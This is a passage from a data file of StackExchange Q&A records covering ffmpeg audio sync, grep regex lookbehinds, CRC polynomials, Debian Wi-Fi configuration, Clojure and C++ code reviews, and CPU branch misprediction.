change anything either." , "title": "Desktop audio falls behind when recording microphone + desktop audio + screen using ffmpeg" , "tags": "audio;pulseaudio;ffmpeg;screencasting" , "accepted_answer": "Not sure if this will fix it for you, but I have a script that I haven't had problems with. Comparing our two scripts, the only differences I can see are:my filter_complex is just amergeI force the use of 4 threadsMy audio codec is mp3lameI'm thinking the audio codec change is the most relevant difference. I think that some audio codecs get interlaced with the video somehow so they can't get out of sync. Unfortunately I'm no video engineer so I can't be so sure.Here is my script:#!/usr/bin/bash# video informationINRES=1920x1080OUTRES=1280x720FPS=24QUAL=fastFILE_OUT=$1#audio informationPULSE_IN=alsa_input.pci-0000_00_1b.0.analog-stereoPULSE_OUT=alsa_output.pci-0000_00_1b.0.analog-stereo.monitorffmpeg -f x11grab -s $INRES -r $FPS -i :0.0 \\ -f pulse -i $PULSE_IN -f pulse -i $PULSE_OUT \\ -filter_complex amerge \\ -vcodec libx264 -crf 30 -preset $QUAL -s $OUTRES \\ -acodec libmp3lame -ab 96k -ar 44100 -threads 4 -pix_fmt yuv420p \\ -f flv $FILE_OUT" } { "id": "_unix.374199" , "question": "Assume a text string my_string$ my_string=foo bar=1ab baz=222;I would like to extract the alphanumeric string between keyword baz and the semi-colon.How do I have to modify the following grep code using regex assertions to also exclude the trailing semi-colon?$ echo $my_string | grep -oP '(?<='baz=').*'222;" , "title": "Extracting string via grep regex assertions" , "tags": "grep;regular expression;string" , "accepted_answer": "Unless the string that you want to extract may itself contain ;, the simplest thing is probably to replace . (which matches any single character) with [^;] (which matches any character excluding ;)$ printf '%s\\n' $my_string | grep -oP '(?<='baz=')[^;]*'222With grep linked to libpcre 7.2 or newer, you can also simplify the lookbehind using the \\K form:$ printf '%s\\n' $my_string | grep -oP 'baz=\\K[^;]*'222Those will print all occurrences in the string and assume the matching text doesn't contain newline characters (since grep processes each line of input separately)." } { "id": "_unix.103551" , "question": "I'm trying to install BLT2.4z, with Tcl/tk8.4. When I run command make I see this:(cd src; make all) gcc -c -Wall -O6 -I. -I. -I/Users/scarter/tk8.4.20/unix/include -I/Users/scarter/tcl8.4.20/unix/include bltAlloc.cerror: invalid value '6' in '-O6' make[1]: *** [bltAlloc.o] Error 1What's going on here?" , "title": "BLT2.z installation" , "tags": "make" } { "id": "_cs.66526" , "question": "Given an undirected graph $G$ of $N$ nodes and a starting node $s$, I want to build, with dynamic programming, a table whose $(k, n)$-th entry is $1$ if node $n$ is reachable with exactly $k$ steps from node $s$.Specifically, for the first row of the table, I set $(1, n)$ to 1 if node $n$ is connected to node $s$. Then for the second row, I set $(2, n)$ to 1 if node $n$ is connected to any of the nodes who have value $1$ in the first row. I can stop the construction whenever I have a repeated row. In other words, I want to build the table to the point where more rows will be redundant, as there are already exact copies of them up in the table. So $k$ should be expressed in terms of $N$.I want to check if this table construction can be done in polynomial time. I think it boils down to whether the number of rows is polynomially bounded. Is it so?My intuition is yes, because in the worst case, where the $N$ nodes are serially connected one next to another, and starting node $s$ is at one end, I can still reach the other end with $N-1$ steps. " , "title": "Nodes reached with exactly $k$ steps in an undirected graph?" , "tags": "graphs;graph theory" } { "id": "_cstheory.19459" , "question": "What is an informational density and why numeral system with the base of e (2,71828...) has the maximum informational density? How do you calculate informational density of a given numeral system?" , "title": "Numeral system information density" , "tags": "it.information theory" , "accepted_answer": "Let you want to represent integer values from 0 to 999. You need 3 digits, each has 10 states, 30 states overall. When using binary digits, you need 10 digits with 2 states, 20 states overall, So binary representation is more dense. In general case, p*ln(N)/ln(p) states is required. This formula has minimum at p=e. However, this is pure theoretical speculation. Numeral system with the base 3 is slightly more dense than that of 2, and 3-based computers were really built, but appeared more complex than binary computers." } { "id": "_cs.69084" , "question": "I was reading about CRC coding from two books:Data Communication and Networking by Forouzan Page 294Computer Network by Tanenbaum Page 188They use following notations:$d(x)$: dataword to be sent (as a polynomial)$c(x)$: codeword sent (as a polynomial)$e(x)$: error (as a polynomial)$c(x)+e(x)$: codeword sent with error introduced (if any)$g(x)$: generator polynomial to be used at CRC encoder (for creating c(x)) and decoder (for checking if error is introduced or not during transmission)Forouzan then states following:A single-bit error is $e(x)=x^i$, where i is the position of the bit. If a single-bit error is caught, then $e(x)=x^i$ is not divisible by $g(x)$. (Note that when we say not divisible, we mean that there is a remainder.) If $g(x)$ has at least two terms and the coefficient of $x^0$ is not zero (the rightmost bit is 1), then $e(x)$ cannot be divided by $g(x)$ and all single bits errors can be caught.He then gives example of generator:$g(x)=x+1$ saying that it can catch all single bit error (with which I have some doubts)$g(x)=x^3$ saying that all single-bit errors in positions 1 to 3 are caught rest are left uncaught (with which I dont have any confusion).For example, consider the below example for generator $g(x)=x+1$:Tanenbaum says:If $g(x)$ contains two or more terms, $e(x)$ will never divide into $g(x)$, so all single-bit errors will be detected.My doubts:Q1. Forouzan states additional requirement to Tanenbaum that the coefficient of $x^0$ is not zero (the rightmost bit is 1). Whats correct? and why? Will generator $g(x)=x^3+x^2$ (which satisfies Tanenbaum's statement) capture all single bit errors? Do we always need $+1$ in $g(x)$ for capturing any single bit error?Q2. I feel I dont understand the reason/logic behind statements made by both authors, thats why I am not able to decide on myself whether $+1$ should be there in $g(x)$ or not. Whats the logic then behind both of statements (whichever is correct)? More precisely: why $e(x)$ with single bit error will not be dividable by $g(x)$ if $g(x)$ has at least two terms and the coefficient of $x^0$ is not zero as Forouzan says or if $g(x)$ contains two or more terms as Tanenbaum says (whichever is correct).I must be missing something very very basic stuff here." , "title": "Polynomial generator required to detect single bit error in Cyclic Redundancy Check codes" , "tags": "computer networks;polynomials;crc" } { "id": "_webapps.105746" , "question": "I am presently working on an application that very specifically requires me to have page numbers in the top left hand corner. As I do not have Word on my present computer, and am most familiar with Docs, I would like to use it for this application. Unfortunately, the only options Docs seems to allow me off of the Insert tab are top and bottom right hand corners for page numbers. Is there a hack or app that grants a way around this? Or am I just missing something?" , "title": "How to move page numbers in a Google Doc?" , "tags": "google documents" } { "id": "_unix.52991" , "question": "After a long struggle I finally seem to have installed the non-free wireless firmware for my wireless NIC. I'm trying to set up a file server, so I want to configure the network to be static. Would one of you guys mind helping me?For example I don't know what my /etc/network/interfaces file should look like, currently it looks like this:auto loiface lo inet loopbackallow-hotplug wlan1iface wlan1 inet static address 192.168.10.111 netmask 255.255.255.0 network 192.168.10.0 broadcast 192.168.10.255 gateway 192.168.10.1 # wireless-* options are implemented by the wireless-tools package wireless-mode managed wireless-essid Optimus Pwn wpa-psk s:roonwolf # I changed this from wiresless-key1 or something like that dns-* options are implemented by the resolvconf package, if installed dns-nameservers 192.168.10.1 dns-search localdomainMy ifconfig command looks like this:lo Link encap: Local Loopbackinet addr: 127.0.0.1 Mask: 255.0.0.0inet6 addr: ::1/128 Scope: HostUP LOOPBACK RUNNING MTU:16436 Metric:1RX packets: 95 errors: 0 dropped: 0 overruns: 0 frame: 0TX packets: 95 errors: 0 dropped: 0 overruns: 0 carrier: 0collisions: 0 txqueuelen: 0RX bytes: 10376 (10.1KiB) TX bytes: 10376 (10.1 KiB)wlan1 Link encap: Ethernet HWaddr 00:18:f3:85:99:07inet addr:192.168.10.111 Bcast:192.168.10.255 Mask:255.255.255.0UP BROADCAST MULTICAST MTU:1500 Metric:1RX packets:0 errors:0 dropped:0 overruns:0 frame:0TX packets:0 errors:0 dropped:0 overruns:0 carrier: 0collisions:0 txqueuelen:1000RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)Here's what I get when I iwlist my ssid:wlan1 Scan completed : Cell 01 - Address: 00:14:D1:A4:0A:36 Channel:6 Frequency:2.437 GHz (Channel 6) Quality=70/70 Signal level=-17 dBm Encryption key:on ESSID:Optimus Pwn Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s 9 Mb/s; 12 Mb/s; 18 Mb/s Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s Mode:Master Extra:tsf=00000003ff6381c1 Extra: Last beacon: 100ms ago IE: Unknown: 000B4F7074696D75732050776E IE: Unknown: 010882848B960C121824 IE: Unknown: 030106 IE: Unknown: 0706555320010B1B IE: Unknown: 200100 IE: WPA Version 1 Group Cipher : TKIP Pairwise Ciphers (1) : TKIP Authentication Suites (1) : PSK IE: Unknown: 2A0100 IE: Unknown: 32043048606C IE: Unknown: DD180050F2020101070003A4000027A4000042435E0062322F00 IE: Unknown: DD1E00904C334C101BFFFF000000000000000000000000000000000000000000 IE: Unknown: 2D1A4C101BFFFF000000000000000000000000000000000000000000 IE: Unknown: DD1A00904C3406001900000000000000000000000000000000000000 IE: Unknown: 3D1606001900000000000000000000000000000000000000 IE: Unknown: DD0900037F01010000FF7FWhen I ping 192.168.10.101(My primary desktop) I getPING 192.168.10.101 (192.168.10.101) 56(84) bytes of data.From 192.168.10.111 icmp_seq=2 Destination Host UnreachableWhen I ping google.com I get(after a lengthy pause):ping: unknown host google.comWhat exactly am I doing wrong here? Should I restart the network?" , "title": "Configuring Wireless Network" , "tags": "linux;debian;networking;configuration;wifi" , "accepted_answer": "Have you tried Network Manager? It's easy to set up static IPs for wireless networks using the GUI. Once you get things working there, if you want the connection available all the time even when you're not logged in (e.g. for a file server), just select the Connect Automatically and Available to all users checkboxes.If you're allergic to GUIs, you can configure the connection by creating a file in the /etc/NetworkManager/system-connections/ directory, as described on this page." } { "id": "_softwareengineering.254714" , "question": "Is the following method considered to be doing one thing only?I'm wondering about that since it takes an optional argument.public function findErrors($name = null){ if ($name) { return isset($this->errors[$name]) ? $this->errors[$name] : []; } return $this->errors ?: [];}If not, would it be better / matter to have it separated like the following:public function findErrors(){ return $this->errors ?: [];}public function findErrorsOf($name){ return isset($this->errors[$name]) ? $this->errors[$name] : [];}" , "title": "Does this function do one thing only?" , "tags": "design patterns;php;functions;methods" , "accepted_answer": "No, not really. It's clearly got two independent paths. It would be better to separate them into two (possibly overloaded) functions to better decouple them. Better yet, I would look to eliminate the name specific behavior unless it's really that common. What happens if you want to find errors since Thursday? What about errors that contain the word Banana? You shouldn't go back to edit this code every time you have a new search criteria - and you shouldn't have one way to find names and another way to find bananas." } { "id": "_codereview.37736" , "question": "Some time ago I created a markdown parser in clojure and I would like to get some feedback, since I'm a clojure noob in the first place (is the code understandable?/is it idiomatic?/can some things be improved?). So I'm looking for feedback on best practices and design pattern usage (performance isn't my main concern).The most relevant parts are:blocks.clj(ns mdclj.blocks (:use [clojure.string :only [blank? split]] [mdclj.spans :only [parse-spans]] [mdclj.misc]))(defn- collect-prefixed-lines [lines prefix] (when-let [[prefixed remaining] (partition-while #(startswith % prefix) lines)] [(map #(to-string (drop (count prefix) %)) prefixed) remaining]))(defn- line-seperated [lines] (when-let [[par [r & rrest :as remaining]] (partition-while (complement blank?) lines)] (list par rrest)))(declare parse-blocks)(defn- create-block-map [type content & extra] (into {:type type :content content} extra))(defn- clean-heading-string [line] (-> line (to-string) (clojure.string/trim) (clojure.string/replace # #*$ ) ;; match space followed by any number of #s (clojure.string/trim)))(defn match-heading [[head & remaining :as text]] (let [headings (map vector (range 1 6) (iterate #(str \\# %) #)) ;; ([1 #] [2 ##] [3 ###] ...) [size rest] (some (fn [[index pattern]] (let [rest (startswith head pattern)] (when (seq rest) [index rest]))) headings)] (when (not (nil? rest)) [(create-block-map ::heading (parse-spans (clean-heading-string rest)) {:size size}) remaining])))(defn- match-underline-heading [[caption underline & remaining :as text]] (let [current (set underline) marker [\\- \\=] markers (mapcat #(list #{\\space %} #{%}) marker)] (when (and (some #(= % current) markers) (some #(startswith underline [%]) marker) (< (count (partition-by identity underline)) 3)) [(create-block-map ::heading (parse-spans caption) remaining {:size 1}) remaining])))(defn- match-horizontal-rule [[rule & remaining :as text]] (let [s (set rule) marker [\\- \\*] markers (mapcat #(list #{\\space %} #{%}) marker)] (when (and (some #(= % s) markers) (> (some #(get (frequencies rule) %) marker) 2)) [{:type ::hrule} remaining])))(defn- match-codeblock [text] (when-let [[code remaining] (collect-prefixed-lines text )] [(create-block-map ::codeblock code) remaining]))(defn- match-blockquote [text] (when-let [[quote remaining] (collect-prefixed-lines text > )] [(create-block-map ::blockquote (parse-blocks quote)) remaining]))(defn- match-paragraph [text] (when-let [[lines remaining] (line-seperated text)] [(create-block-map ::paragraph (parse-spans (clojure.string/join \\n lines))) remaining]))(defn- match-empty [[head & remaining :as text]] (when (and (blank? head) (seq remaining)) (parse-blocks remaining)))(def ^:private block-matcher [match-heading match-underline-heading match-horizontal-rule match-codeblock match-blockquote match-paragraph match-empty])(defn- parse-blocks [lines] (lazy-seq (when-let [[result remaining] (some #(% lines) block-matcher)] (cons result (parse-blocks remaining)))))(defn parse-text [text] (parse-blocks (seq (clojure.string/split-lines text))))spans.clj(ns mdclj.spans (:use [mdclj.misc]))(def ^:private formatter [[` ::inlinecode] [** ::strong] [__ ::strong] [* ::emphasis] [_ ::emphasis]])(defn- apply-formatter [text [pattern spantype]] Checks if text starts with the given pattern. If so, return the spantype, the text enclosed in the pattern, and the remaining text (when-let [[body remaining] (delimited text pattern)] [spantype body remaining]))(defn- get-spantype [text] (let [[spantype body remaining :as match] (some #(apply-formatter text %) formatter)] (if (some-every-pred startswith [body remaining] [* _]) [spantype (-> body (vec) (conj (first remaining))) (rest remaining)] match)))(defn- make-literal [acc] Creates a literal span from the acc {:type ::literal :content (to-string (reverse acc))})(declare parse-spans)(defn- span-emit [literal-text span] Creates a vector containing a literal span created from literal-text and 'span' if literal-text, else 'span' (if (seq literal-text) [(make-literal literal-text) span] ;; if non-empty literal before next span [span]))(defn- concat-spans [acc span remaining] (concat (span-emit acc span) (parse-spans [] remaining)))(defn- parse-span-body ([body] (parse-span-body nil body)) ([spantype body] (if (in? [::inlinecode ::image] spantype) (to-string body) (parse-spans [] body)))) ;; all spans except inlinecode and image can be nested(defn- match-span [acc text] ;; matches ::inlinecode ::strong ::emphasis (when-let [[spantype body remaining :as match] (get-spantype text)] ;; get the first matching span (let [span {:type spantype :content (parse-span-body spantype body)}] (concat-spans acc span remaining))))(defn- extract-link-title [text] (reduce #(clojure.string/replace % %2 ) (to-string text) [#\\$ #'$ #^\\ #^'])) (defn- parse-link-text [linktext] (let [[link title] (clojure.string/split (to-string linktext) # 2)] (if (seq title) {:url link :title (extract-link-title title)} {:url link})))(defn- match-link-impl [acc text type] (when-let [[linkbody remaining :as body] (bracketed text [ ])] (when-let [[linktext remaining :as link] (bracketed remaining ( ))] (concat-spans acc (into {:type type :content (parse-span-body type linkbody)} (parse-link-text linktext)) remaining))))(defn- match-link [acc text] (match-link-impl acc text ::link))(defn- match-inline-image [acc [exmark & remaining :as text]] (when (= exmark \\!) (match-link-impl acc remaining ::image)))(defn- match-break [acc text] (when-let [remaining (some #(startswith text %) [ \\n\\r \\n \\r])] ;; match hard-breaks (concat-spans acc {:type ::hard-break} remaining)))(defn- match-literal [acc [t & trest :as text]] (cond (seq trest) (parse-spans (cons t acc) trest) ;; accumulate literal body (unparsed text left) (seq text) (list (make-literal (cons t acc))))) ;; emit literal (at end of text: no trest left)(def ^:private span-matcher [match-span match-link match-inline-image match-break match-literal])(defn parse-spans ([text] (parse-spans [] text)) ([acc text] (some #(% acc text) span-matcher)))misc.clj(ns mdclj.misc)(defn in? true if seq contains elm [seq elm] (some #(= elm %) seq))(defn startswith [coll prefix] Checks if coll starts with prefix. If so, returns the rest of coll, otherwise nil (let [[t & trest] coll [p & prest] prefix] (cond (and (= p t) ((some-fn seq) trest prest)) (recur trest prest) (= p t) '() (nil? prefix) coll)))(defn partition-while ([f coll] (partition-while f [] coll)) ([f acc [head & tail :as coll]] (cond (f head) (recur f (cons head acc) tail) (seq acc) (list (reverse acc) coll))))(defn- bracketed-body [closing acc text] Searches for the sequence 'closing' in text and returns a list containing the elements before and after it (let [[t & trest] text r (startswith text closing)] (cond (not (nil? r)) (list (reverse acc) r) (seq text) (recur closing (cons t acc) trest))))(defn bracketed [coll opening closing] Checks if coll starts with opening and ends with closing. If so, returns a list of the elements between 'opening' and 'closing', and the remaining elements (when-let [remaining (startswith coll opening)] (bracketed-body closing '() remaining)))(defn delimited [coll pattern] Checks if coll starts with pattern and also contains pattern. If so, returns a list of the elements between the pattern and the remaining elements (bracketed coll pattern pattern))(defn to-string [coll] Takes a coll of chars and returns a string (apply str coll))(defn some-every-pred [f ands ors] Builds a list of partial function predicates with function f and all values in ands and returns if any argument in ors fullfills all those predicates (let [preds (map #(partial f %) ands)] (some true? (map #((apply every-pred preds) %) ors))))Some highlights:(def ^:private block-matcher [match-heading match-underline-heading match-horizontal-rule match-codeblock match-blockquote match-paragraph match-empty])(defn- parse-blocks [lines] (lazy-seq (when-let [[result remaining] (some #(% lines) block-matcher)] (cons result (parse-blocks remaining)))))This piece always seemed somewhat strange to me. Is using a list of function and when-let idiomatic here? Are there alternatives?(defn- create-block-map [type content & extra] (into {:type type :content content} extra))I'm using this function to create hashmaps in a certain format. Is this an idiomatic approach? P.S.: While looking at the code myself, I spot two minor things: I can use when-not instead of when(not (... and clojure.string/join coll instead of (apply str coll)" , "title": "Idiomatic clojure code in a markdown parser" , "tags": "parsing;clojure;markdown" , "accepted_answer": "This is overall very impressive! Here are my thoughts:It looks like you've pretty much written your parser from scratch -- you have it set up so that it takes text as an input and dissects it line by line, looking for blocks and spans, and labeling and converting them appropriately. This is great, but a much easier way to go about this would be to use a parsing library like instaparse. Using this approach, you define a simple grammar as either a string or a separate text file, and then use instaparse to turn it into a custom parser, then you just use the parser as a function on the text, returning a parse tree that contains all of the information you need, in either hiccup or enlive format. There's a little bit of a learning curve if you've never defined a grammar before, but I found it pretty easy to learn, and instaparse is one of the most intuitive parsing libraries out of the handful that I tried. I would recommend this method -- it lets you worry more about defining your grammar and leave the implementation details to instaparse. At this point you've already done most (all?) of the work manually, so you might want to stick with the structure you have in place, but you should at least consider re-doing it with a parsing library -- it would at least make it easier to add new Markdown features.I think your block-matcher/parse-blocks section is elegant and idiomatic as far as I'm concerned. It's a nice demonstration of first-class functions in Clojure. The only thing is, I'm not sure that you need to wrap it in a lazy-seq, since don't you need to realize the entire sequence? I haven't looked super thoroughly at your code, but I'm assuming you would use this function to parse all the lines of text from the input, so this sequence might not necessarily need to be lazy. It all depends on how you're using that function, though.I think your create-block-map function is nice and idiomatic, too. It's such a simple function that you could potentially do without it, and just have all of your match-* functions return something like this:[{:type ::heading :content (parse-spans (clean-heading-string rest)) :size size} remaining]But you have so many different match-* functions, it would get tedious having that show up under every single one of them, so I think you did the right thing by pulling it out into a separate function, thereby enabling you to express the above as just, e.g., (create-block-map ::heading (parse-spans (clean-heading-string rest)) {:size size}. My only suggestion would be to consider renaming it to just block-map for the sake of simplicity -- that's just a minor aesthetic preference, though.Lastly, I saw this bit in your match-heading function:(when (not (nil? rest)) [(create-block-map ...You could simplify this to just:(when rest [(create-block-map ...Since you're only using rest in a boolean context (it's either nil or it's a non-nil value) within a when expression, you can just use the value of rest itself. If it's not nil or false, the rest of the expression will be returned, otherwise nil will be returned. The only reason you might not want to do it this way is if you still want the rest of the when expression to be returned if the value of rest is false -- i.e., literally anything but nil. If that's not a concern, though, (when rest ... is more concise and idiomatic.Hope that helps. You're off to a great start!" } { "id": "_webmaster.10841" , "question": "Whether clickjacking is an ethically responsible way of earning advertisement revenues is a subjective discussion and should not be discussed here.However, it appears that quite a lot of popular sites generate popups when you click either of their links or buttons. An example is the Party Poker advertisement (I am sure many of you will have seen this one).I wonder though, what kind of advertisement companies allow such techniques? Surely Google Adsense does not? But which do, and are they reliable partners?Update: an example of an organization using clickjacking to earn advertisement revenues is The Pirate Bay. When clicking on a torrent link, advertisements of Party Poker will popup." , "title": "Advertisement programs that allow clickjacking (earning advertisement revenues by popups generated by clicks on the website)?" , "tags": "google adsense;advertising" } { "id": "_unix.47444" , "question": "The problem is that I fail to SSH to a remote machine via its hostname, while using its IP works.The hostname returned by command hostname is: california_desertwhile the name returned by command nslookup $IP_address is: pcpp3238782. They did not match each other.I think that's why I cannot connect to remote machine using its hostname.I have checked /etc/hosts, /etc/hostname, /etc/sysconfig/network: all set the hostname to california_desert.Checked with /etc/resolve.conf, the name server is set to the right one.Also tried strace but no new clue.Anybody can please help? " , "title": "Fail to ssh to remote machine via hostname" , "tags": "linux;ssh;hostname" , "accepted_answer": "The problem here is that the hostname and hosts files are only used for the computer they're on. In order for other computers to be able to use the hostname, it needs to be in the DNS zone for the domain.Think of it like this - you get a phone, and it has a phone number 555-5555. You now know that to call California_desert, you need to dial 555-5555. But nobody else knows this. In order for others to know how to reach you, you need to register your phone number in the directory. DNS is that directory service.Of course, you can also tell a friend that your number is 555-5555 and then they can call you directly without looking it up in the directory. For a unix system, this would be like adding the hostname and ip for California_desert to the hosts file on every server that wants to connect to it. " } { "id": "_cs.69129" , "question": "Let's say we have a pipeline with 20 stages. If the testing for the jump condition is done at stage 14 and we have a wrong prediction, then the instructions processed in those 14 stages, that shouldn't have been processed due to the wrong prediction made the processor lose 14 cycles. We know that the jump instruction entered the pipeline 14 stages back, therefore from this behaviour I deduced that 14 cycles were lost. Am I correct? If no, why?" , "title": "Branch wrong prediction pipeline" , "tags": "cpu;cpu pipelines" , "accepted_answer": "It's not correct. The instruction that would determine the result of the condition is read at cycle x. The conditional branch is read at cycle x + k. k can be any value, depending on the code. For example I can have a comparison compare x and 0, then half a dozen unrelated instructions, then an instruction branch if the comparison result is 'greater'. You are saying the correct condition is determined at cycle x + 14. You lose 14 - k cycles.You may find out 14 cycles later that the branch was predicted wrongly, or 8 cycles later, or in the next cycle. What is lost is the cycles between branch prediction and the point where the correct way became known, which is variable. In this situation, compilers will often try to issue the comparison as early as possible before the branch instruction, to minimise the penalty for an incorrect branch. To clarify: If a compare instruction is read at cycle x, and the result of the comparison is available at cycle x+14, and a conditional branch instruction is read at cycle x + k, then it doesn't matter at which stage in the pipeline the incorrect branch is detected. What matters is the time from the start of the conditional branch, to the time of detection of the incorrect branch, and that time is variable. If the compare instruction is issued early enough then the branch isn't even predicted because the result of the compare instruction is known. " } { "id": "_codereview.66446" , "question": "I've made a program that outputs you the most common word in txt file. Does anybody know how to optimize it so that it would work for bigger files and run faster?#include <iostream>#include <string>#include <fstream>#include <cstdlib>#include <vector>#include <algorithm>#include <math.h>using namespace std;int main(){ ifstream in(file.txt); if(!in){ cerr << Could not open file.txt.; return EXIT_FAILURE; } string str, str2, strn, tab[10000], tab2[10000]; int i, k, j, n, l, tabl; char c = 179; vector<int> tabs; vector<string> stringi; while(getline(in, str2)){ str += str2; str += ' '; } k = 0; for(i = 0; i < str.length(); i++){ if(str[i] != ' ' && str[i] != '.' && str[i] != '\\t' && str[i] != ',' && str[i] != ';' && str[i] != ':' && str[i] != '}' && str[i] != '{'){ tab[k] += tolower(str[i]); }else{ k++; } if(str[i] == '.' || str[i] == '\\t' || str[i] == ',' || str[i] == ';' || str[i] == ':' || str[i] == '}' || str[i] == '{') { k--; } } tabl = k; k = 0; for(i = 0; i < tabl; i++){ for(j = 0; j < tabl; j++){ if(tab[i] == tab[j]){ k++; } } tabs.push_back(k); k = 0; } for(i = 0; i < tabl; i++){ for(j = 0; j < tabl-1; j++){ if(tab[j] < tab[j+1]){ n = tabs.at(j); tabs.at(j) = tabs.at(j+1); tabs.at(j+1) = n; strn = tab[j]; tab[j] = tab[j+1]; tab[j+1] = strn; } } } for(i = 0; i < tabl; i++){ for(j = 0; j < tabl-1; j++){ if(tabs.at(j) < tabs.at(j+1)){ n = tabs.at(j); tabs.at(j) = tabs.at(j+1); tabs.at(j+1) = n; strn = tab[j]; tab[j] = tab[j+1]; tab[j+1] = strn; } } } tab2[0] = tab[0]; for(i = 0; i < tabl; i++){ if(tab[i] != tab[i+1]){ tab2[i] = tab[i+1]; } } k = 1; l++; for(i = 0; i < tabl; i++){ if(!tab2[i].empty()){ l++; } } cout << ------------------------------------ << endl; cout << |--->TABLE OF MOST COMMON WORDS<---| << endl; cout << ------------------------------------ << endl; for(i = 0; i < tabl; i++){ if(!tab2[i].empty() && k <= 20 ){ cout << c << k++ << . << '\\t' << c << tab2[i] << '\\t' << c << * << tabs.at(i+1) << '\\t' << c << roundf(((float)tabs.at(i+1)*100/l)*100)/100 << % << endl; } } cout << ------------------------------------ << endl ; cout << |----->Dif. strings: << '\\t' << l << <-------| << endl ; cout << ------------------------------------ << endl; return 0;}Output image:" , "title": "Most common words in a text file" , "tags": "c++;strings;file" , "accepted_answer": "OverallYou seem to have stuffed everything into a single function. This makes it harder than necessary to follow. A couple of functions to break things up into manageable units would probably be a good idea (its part of self documenting code).Your naming convention is also a bit shoddy. string str, str2, strn, tab[10000], tab2[10000]; int i, k, j, n, l, tabl; char c = 179; vector<int> tabs; vector<string> stringi;None of these names coneys any meaning of what they are being used for. Just like functions variables should be given meaningful names so that reading the code becomes self explanatory. std::string inputLine; std::getline(std::cin, inputLine);There is no real reason to use built-in C-arrays. std::vector and std::array are always going to be a better alternative (unless you are yourself building a container).Basic Code ReviewPrefer to use C++ header files:#include <math.h>// Prefer#include <cmath>It is guaranteed to know about namespaces and put the functions into it. It also includes some templated maths functions that are not available from C (that you may or may not get when using math.h)How many time must we say this!Did you not read any of the other previous review?Don't do thisusing namespace std;See: Why is using namespace std; considered bad practice?Why are you reading the whole file into memory? while(getline(in, str2)){ str += str2; str += ' '; }All this is doing is reading the whole file into memory (inefficiently) replacing newlines with space. Your main problem with this is going to be the continuous reallocation of the str buffer as it grows. If you know the size you can do this much better with a read(). std::size_t size = getFileSize(in); std::string buffer(size); in.read(&buffer[0], size);I would not even do this. It is relatively efficient to read a word at a time and processes that. The standard stream reads a space separated words quite easily with the operator>>.Here you are manually parsing the input buffer and removing punctuation (or a limited set of it). for(i = 0; i < str.length(); i++){ if(str[i] != ' ' && str[i] != '.' && str[i] != '\\t' && str[i] != ',' && str[i] != ';' && str[i] != ':' && str[i] != '}' && str[i] != '{'){ tab[k] += tolower(str[i]); }else{ k++; } if(str[i] == '.' || str[i] == '\\t' || str[i] == ',' || str[i] == ';' || str[i] == ':' || str[i] == '}' || str[i] == '{') { k--; } } tabl = k;There are a couple of things you can do to make this more efficient and easier to read. First lets make it function to hold the test: bool isMyPunct(unsigned char x) { return str[i] == '.' || str[i] == '\\t' || str[i] == ',' || str[i] == ';' || str[i] == ':' || str[i] == '}' || str[i] == '{'; }Notice how much easier that is to read. Now you can modify your code too: for(i = 0; i < str.length(); i++){ if(str[i] != ' ' && !isMyPunct(str[i]){ tab[k] += tolower(str[i]); }else{ k++; } if(isMyPunct(str[i]) { k--; } } tabl = k;Back to the isMyPuct(). The best optimization here is we can can convert multiple tests into a single test by using a table lookup. bool isMyPunct(unsigned char x) { static char const punctTestTable[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, // '\\t' 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, // ',' '.' 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, // ':' ';' 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, // '{' '}' 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; return punctTestTable[x]; }But doing this all manually is a pain. You can get the stream to do it for you by using a specialized local that treats your punctuation like spaces. See How to tokenzie (words) classifying punctuation as spaceThe rest of the code is incomprehensible.I could probably sit down and work it out. But the point is that is hard. You want people to be able to read your code at first glance and understand at least the gist of what you are doing. k = 0; for(i = 0; i < tabl; i++){ for(j = 0; j < tabl; j++){ if(tab[i] == tab[j]){ k++; } } tabs.push_back(k); k = 0; } .....Prefer \\n to std::endl. cout << ------------------------------------ << endl;It does not force a flush when you don't need one. Note: you hardly ever need to force a flush it is much more efficient to let the system to flush at appropriate times.Re-ThinkVersion 1:int main(){ std::ifstream inputFile; inputFile.imbue(std::locale(std::locale(), new IgnorePuct(std::locale())); inputFile.open(file.txt); std::map<std::string, std::size_t> countOfWords; TopTenWordsWithCount topTen; std::string word; while(inputFile >> word) { std::size_t& count = countOfWords[word]; ++count; topTen.add(word, count); } std::cout << topTen;}Two things to implement:TopTenWordsWithCount: Use the C++ heap to keep an ordered set of words.IgnorePuct: See How to tokenzie (words) classifying punctuation as space" } { "id": "_softwareengineering.77061" , "question": "In many langauges, super() lets you call the parent method which you have overridden. I've been using super in my Javascript (with fake object oriented implementation) to run common code for a long time without problems. Now I've finally hit a case where calling a protected base class method would have been better than calling super.Here's a concrete example. Grandparent -> Parent -> KidI needed to add a Kid. It's identical to Parent except for one method called someMethod. Kid's someMethod needed to do Grandparent's common stuff, but not Parent's specific stuff. So Kid's someMethod could not call super because that would trigger Parent specific code. Instead of changing my grand class structure, I just made Kid duplicate 